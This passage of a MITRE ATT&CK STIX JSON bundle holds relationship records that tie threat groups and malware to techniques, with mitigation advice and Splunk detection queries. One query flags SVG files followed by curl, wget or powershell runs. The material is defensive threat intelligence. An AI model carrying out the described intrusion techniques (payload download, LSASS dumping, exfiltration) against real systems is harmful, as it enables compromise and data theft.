                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"
                },
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"
                },
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "Microsoft Actinium February 2022",
                    "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"
                },
                {
                    "source_name": "unit42_gamaredon_dec2022",
                    "description": "Unit 42. (2022, December 20). Russia\u2019s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/trident-ursa/"
                }
            ],
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            "modified": "2025-04-16T22:02:54.454Z",
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has downloaded additional malware and tools onto a compromised host.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Microsoft Actinium February 2022) For example, [Gamaredon Group](https://attack.mitre.org/groups/G0047) uses a backdoor script to retrieve and decode additional payloads once in victim environments.(Citation: unit42_gamaredon_dec2022) ",
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            "id": "relationship--25407fd4-3940-4446-9c17-6eebe902dbdf",
            "created": "2019-10-08T19:55:33.752Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-04-28T15:39:37.584Z",
            "description": "Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications.\n\nAzure offers a couple of enterprise policy settings in the Azure Management Portal that may help:\n\n\"Users -> User settings -> App registrations: Users can register applications\" can be set to \"no\" to prevent users from registering new applications. \n\"Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf\" can be set to \"no\" to prevent users from consenting to allow third-party multi-tenant applications",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--25424268-9ffb-40ed-8335-249deea323ca",
            "created": "2021-04-14T14:03:30.708Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye Operation Saffron Rose 2013",
                    "description": "Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-operation-saffron-rose.pdf"
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            "object_marking_refs": [
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            "modified": "2025-04-16T22:02:54.890Z",
            "description": "[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used various social media channels to spearphish victims.(Citation: FireEye Operation Saffron Rose 2013)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7",
            "target_ref": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--254293f3-36af-41fa-9ce8-ea584258f3ba",
            "created": "2022-03-30T14:26:51.868Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:02:55.099Z",
            "description": "Monitor for changes made to files that may establish persistence by executing malicious content triggered by user inactivity.\n\nNote: Although there are no standard events for file modification, Windows Event ID 4663 (An Attempt Was Made to Access An Object) can be used to alert on attempted accesses of screensaver files (typically ending in a file extension of .scr). ",
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            "target_ref": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
            "id": "relationship--2542a753-4cfb-408f-98a8-e1b11f1bce10",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Dragos Crashoverride 2018",
                    "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.",
                    "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"
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            ],
            "object_marking_refs": [
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            "modified": "2025-04-16T22:02:55.347Z",
            "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used various MS-SQL stored procedures.(Citation: Dragos Crashoverride 2018)",
            "relationship_type": "uses",
            "source_ref": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234",
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            "created": "2022-10-05T15:09:29.047Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "ESET Operation Spalax Jan 2021",
                    "description": "M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.",
                    "url": "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"
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            "description": "For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used a variety of packers and droppers to decrypt malicious payloads.(Citation: ESET Operation Spalax Jan 2021)",
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                {
                    "source_name": "FireEye TRITON 2019",
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"
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            "modified": "2025-04-16T22:02:55.802Z",
            "description": "During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used staging folders that are infrequently used by legitimate users or processes to store data for exfiltration and tool deployment.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "Mandiant Pulse Secure Update May 2021",
                    "description": "Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"
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            "modified": "2025-04-16T22:02:56.003Z",
            "description": "[RAPIDPULSE](https://attack.mitre.org/software/S1113) listens for specific HTTP query parameters in received communications. If specific parameters match, a hard-coded RC4 key is used to decrypt the HTTP query paremter <code>hmacTime</code>. This decrypts to a filename that is then open, read, encrypted with the same RC4 key, base64-encoded, written to standard out, then passed as a response to the HTTP request.(Citation: Mandiant Pulse Secure Update May 2021)",
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        {
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            "id": "relationship--25527270-616e-4c53-a85a-03fc0b1e9a96",
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                {
                    "source_name": "Google EXOTIC LILY March 2022",
                    "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.",
                    "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"
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            "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used the e-mail notification features of legitimate file sharing services for spearphishing.(Citation: Google EXOTIC LILY March 2022)",
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            "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af",
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        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.",
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            "description": "[StrelaStealer](https://attack.mitre.org/software/S1183) has been distributed in ISO archives.(Citation: DCSO StrelaStealer 2022) [StrelaStealer](https://attack.mitre.org/software/S1183) has been delivered in encrypted, password-protected ZIP archives.(Citation: IBM StrelaStealer 2024)",
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                    "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.",
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            "description": "[TA2541](https://attack.mitre.org/groups/G1018) has used scheduled tasks to establish persistence for installed tools.(Citation: Proofpoint TA2541 February 2022) ",
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                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
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            "description": "[Comnie](https://attack.mitre.org/software/S0244) executes BAT scripts.(Citation: Palo Alto Comnie)",
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                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
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                    "description": "Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.",
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                    "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.",
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                    "description": "Mollema, D. (2019, March 4). The worst of both worlds: Combining NTLM Relaying and Kerberos delegation . Retrieved August 15, 2022.",
                    "url": "https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/"
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            "description": "Consider filtering DHCP traffic on ports 67 and 68 to/from unknown or untrusted DHCP servers. Additionally, port security may also be enabled on layer switches. Furthermore, consider enabling DHCP snooping on layer 2 switches as it will prevent DHCP spoofing attacks and starvation attacks. Consider tracking available IP addresses through a script or a tool. \n\nAdditionally, block DHCPv6 traffic and incoming router advertisements, especially if IPv6 is not commonly used in the network.(Citation: ntlm_relaying_kerberos_del)",
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                    "source_name": "Cyphort EvilBunny Dec 2014",
                    "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.",
                    "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/"
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            "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used WMI to gather information about the system.(Citation: Cyphort EvilBunny Dec 2014)",
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                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
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            "description": "Locations where <code>profile.ps1</code> can be stored should be monitored for modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>",
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                    "source_name": "Dell Sakula",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
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            "description": "[Sakula](https://attack.mitre.org/software/S0074) uses single-byte XOR obfuscation to obfuscate many of its files.(Citation: Dell Sakula)",
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                    "source_name": "TechNet Moving Beyond EMET",
                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
                    "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/"
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                {
                    "source_name": "Wikipedia Control Flow Integrity",
                    "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.",
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                    "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.",
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            "description": "[GrimAgent](https://attack.mitre.org/software/S0632) can collect data and files from a compromised host.(Citation: Group IB GrimAgent July 2021)",
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                    "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.",
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                    "description": "Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.",
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                    "source_name": "Microsoft Actinium February 2022",
                    "description": "Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"
                },
                {
                    "source_name": "Symantec Shuckworm January 2022",
                    "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine"
                },
                {
                    "source_name": "Unit 42 Gamaredon February 2022",
                    "description": "Unit 42. (2022, February 3). Russia\u2019s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022.",
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            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used VNC tools, including UltraVNC, to remotely interact with compromised hosts.(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)",
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                    "description": "Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020.",
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                    "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.",
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                },
                {
                    "source_name": "Trend Micro IXESHE 2012",
                    "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.",
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            "modified": "2025-04-16T22:03:33.749Z",
            "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
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                    "description": "Cybereason Global SOC Team. (n.d.). THREAT ANALYSIS REPORT: Inside the LockBit Arsenal - The StealBit Exfiltration Tool. Retrieved January 29, 2025.",
                    "url": "https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool"
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            "description": "[StealBit](https://attack.mitre.org/software/S1200) can use interprocess communication (IPC) to enable the designation of multiple files for exfiltration in a scalable manner.(Citation: Cybereason StealBit Exfiltration Tool)\n",
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                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
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                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
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                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
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            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can execute shell commands using cmd.exe.(Citation: US-CERT KEYMARBLE Aug 2018)",
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            "description": "Monitor for newly constructed logon behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) \n\nAnalytic 1 - Unusual logon patterns and times.\n\n<code> index=security sourcetype IN (\"WinEventLog:Security\", \"linux_secure\", \"macos_secure\")\n(EventCode=4624 OR EventCode=4625 OR EventCode=4768 OR EventCode=4769 OR EventCode=4776 OR EventCode=4778 OR EventCode=4779 OR EventCode=5379 OR EventCode=22)\n| eval LogonType=case(\n    EventCode==4624, \"Logon\",\n    EventCode==4625, \"Failed Logon\",\n    EventCode IN (4768, 4769), \"Kerberos\",\n    EventCode==4776, \"NTLM\",\n    EventCode==4778, \"Session Reconnected\",\n    EventCode==4779, \"Session Disconnected\",\n    EventCode==5379, \"Login Attempt\",\n    EventCode==22, \"Interactive Logon\",\n    true(), \"Other\"\n)\n| eval User=coalesce(user, UserName, Account_Name, user_name)\n| eval System=coalesce(ComputerName, host)\n| eval Platform=case(\n    sourcetype==\"WinEventLog:Security\", \"Windows\",\n    sourcetype==\"linux_secure\", \"Linux\",\n    sourcetype==\"macos_secure\", \"macOS\",\n    true(), \"Unknown\"\n)\n| where (date_wday!=\"saturday\" AND date_wday!=\"sunday\") AND (date_hour<9 OR date_hour>17)\n| bin _time span=1m\n| stats earliest(_time) as first_time, latest(_time) as last_time, count by User, System, LogonType, Platform\n| eval duration=last_time-first_time\n| where (LogonType=\"Logon\" AND duration<60 AND count > 1) OR (LogonType=\"Failed Logon\" AND count > 5)\n| eval isOddTime=if(date_hour<9 OR date_hour>17, \"Yes\", \"No\")\n| eval isMultipleSystems=if(count>1, \"Yes\", \"No\")\n| table first_time, last_time, duration, User, System, LogonType, Platform, count, isOddTime, isMultipleSystems\n| sort -count</code> ",
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            "description": "[ChChes](https://attack.mitre.org/software/S0144) can alter the victim's proxy configuration.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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                    "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.",
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                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
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                {
                    "source_name": "Joe Sec Trickbot",
                    "description": "Joe Security. (2020, July 13). TrickBot's new API-Hammering explained. Retrieved September 30, 2021.",
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                    "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.",
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                {
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                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"
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            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has installed [TrickBot](https://attack.mitre.org/software/S0266) as a service named ControlServiceA in order to establish persistence.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021) ",
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                    "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.",
                    "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used IRC for C2.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Phosphorus November 2021)",
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                    "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.",
                    "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"
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            "modified": "2025-04-16T22:04:26.105Z",
            "description": "(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Volexity Ivanti Global Exploitation January 2024)",
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                    "source_name": "Cybereason StealBit Exfiltration Tool",
                    "description": "Cybereason Global SOC Team. (n.d.). THREAT ANALYSIS REPORT: Inside the LockBit Arsenal - The StealBit Exfiltration Tool. Retrieved January 29, 2025.",
                    "url": "https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool"
                },
                {
                    "source_name": "FBI Lockbit 2.0 FEB 2022",
                    "description": "FBI. (2022, February 4). Indicators of Compromise Associated with LockBit 2.0 Ransomware. Retrieved January 24, 2025.",
                    "url": "https://www.ic3.gov/CSA/2022/220204.pdf"
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            "modified": "2025-04-16T22:04:26.340Z",
            "description": "[StealBit](https://attack.mitre.org/software/S1200) can self-delete its executable file from the compromised system.(Citation: Cybereason StealBit Exfiltration Tool)(Citation: FBI Lockbit 2.0 FEB 2022)",
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                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved November 17, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf"
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            "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) uses cloud based services for C2.(Citation: FireEye APT37 Feb 2018)",
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                    "source_name": "SentinelLabs Metador Technical Appendix Sept 2022",
                    "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.",
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            "description": "[Mafalda](https://attack.mitre.org/software/S1060) can establish an SSH connection from a compromised host to a server.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)",
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            "id": "relationship--2b7d386f-57b6-4ed2-a5bf-bcc20c92c95b",
            "created": "2022-03-25T20:21:17.698Z",
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            "revoked": false,
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                {
                    "source_name": "ESET Hermetic Wizard March 2022",
                    "description": "ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022.",
                    "url": "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine"
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            "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to deploy through an infected system's default domain policy.(Citation: ESET Hermetic Wizard March 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a",
            "target_ref": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163",
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            "id": "relationship--2b7d9c6e-8149-4b2f-91a2-e80ec673e42d",
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                    "source_name": "NCC Group LAPSUS Apr 2022",
                    "description": "Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.",
                    "url": "https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"
                },
                {
                    "source_name": "MSTIC DEV-0537 Mar 2022",
                    "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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                    "source_name": "Volexity Ivanti Zero-Day Exploitation January 2024",
                    "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.",
                    "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"
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            ],
            "modified": "2025-04-16T22:04:27.385Z",
            "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used Task Manager to dump LSASS memory from Windows devices to disk.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)",
            "relationship_type": "uses",
            "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9",
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            "x_mitre_deprecated": false,
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            "id": "relationship--2b814a5f-dcd1-418c-b53b-d56b34c6e42c",
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            "description": "Monitor for newly constructed files via JavaScript. Developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging. Consider monitoring files downloaded from the Internet, possibly by SVG Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. \n\nSVG Smuggling is often chained:\n\n- .svg downloaded \u2192 parsed or executed by browser/email client\n- Drops or references a secondary payload (HTML/JS/Payload)\n- Follow-on execution with powershell, cmd, wscript, etc.\n\nAnalytic 1 - Detect malicious use of SVG files embedded with script tags to assemble, download, or redirect to payloads.\n\n<code> index=* (sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" OR sourcetype=\"linux_audit\" OR sourcetype=\"osquery\")\n(file_name=\"*.svg\" OR file_path=\"*\\\\Downloads\\\\*.svg\" OR file_path=\"/tmp/*.svg\" OR file_path=\"/Users/*/Downloads/*.svg\")\n| join type=inner file_path [\n  search index=* process_name IN (\"powershell.exe\", \"wscript.exe\", \"cmd.exe\", \"mshta.exe\", \"bash\", \"curl\", \"wget\")\n  | stats min(_time) as proc_time by file_path, process_name, host\n]\n| eval time_diff=proc_time - _time\n| where time_diff >= 0 AND time_diff < 120\n| table _time, host, user, file_path, file_name, process_name, command_line, time_diff\n| sort _time </code>\n\nAnalytic 2 - Suspicious JavaScript or Obfuscation in SVG\n\n<code> file_name=\"*.svg\"\n| rex field=_raw \"<script>(?<js_payload>.*?)</script>\"\n| search js_payload=\"*eval*\" OR js_payload=\"*atob*\" OR js_payload=\"*window.location*\" OR js_payload=\"*document.write*\"\n| table _time, file_name, js_payload </code>",
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            "target_ref": "attack-pattern--78b9e70d-1605-459c-b23d-e3a25036968c",
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--2b8418de-6474-49e2-84f0-01ffe6c07a42",
            "created": "2019-05-28T19:51:24.751Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Korean FSI TA505 2020",
                    "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.",
                    "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="
                },
                {
                    "source_name": "Proofpoint TA505 Mar 2018",
                    "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware"
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            ],
            "modified": "2025-04-16T22:04:27.781Z",
            "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the current user during the initial infection.(Citation: Proofpoint TA505 Mar 2018)(Citation: Korean FSI TA505 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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            "spec_version": "2.1",
            "id": "relationship--2b89f806-5b78-4599-9536-13b47c35d26d",
            "created": "2020-05-14T15:14:33.527Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky MoleRATs April 2019",
                    "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.",
                    "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/"
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            "modified": "2025-04-28T15:40:40.563Z",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) lists all installed software for the infected machine.(Citation: Kaspersky MoleRATs April 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
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        {
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            "spec_version": "2.1",
            "id": "relationship--2b91534d-4687-457b-bcb0-96be9357fa6d",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
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            "modified": "2025-04-28T15:40:40.745Z",
            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit 42 Playbook Dec 2017)",
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            "revoked": false,
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                {
                    "source_name": "GitHub reGeorg 2016",
                    "description": "xl7dev. (2016). reGeorg-master. Retrieved December 3, 2024.",
                    "url": "https://github.com/xl7dev/WebShell/tree/master/reGeorg-master"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:04:28.388Z",
            "description": "[reGeorg](https://attack.mitre.org/software/S1187) is a Python-based web shell.(Citation: GitHub reGeorg 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--0e17b066-50dd-4c2f-83bf-205c5eb2bb34",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--2b948c49-f65d-4e60-969f-229030b4d311",
            "created": "2020-06-16T20:51:13.228Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Unit42 Redaman January 2019",
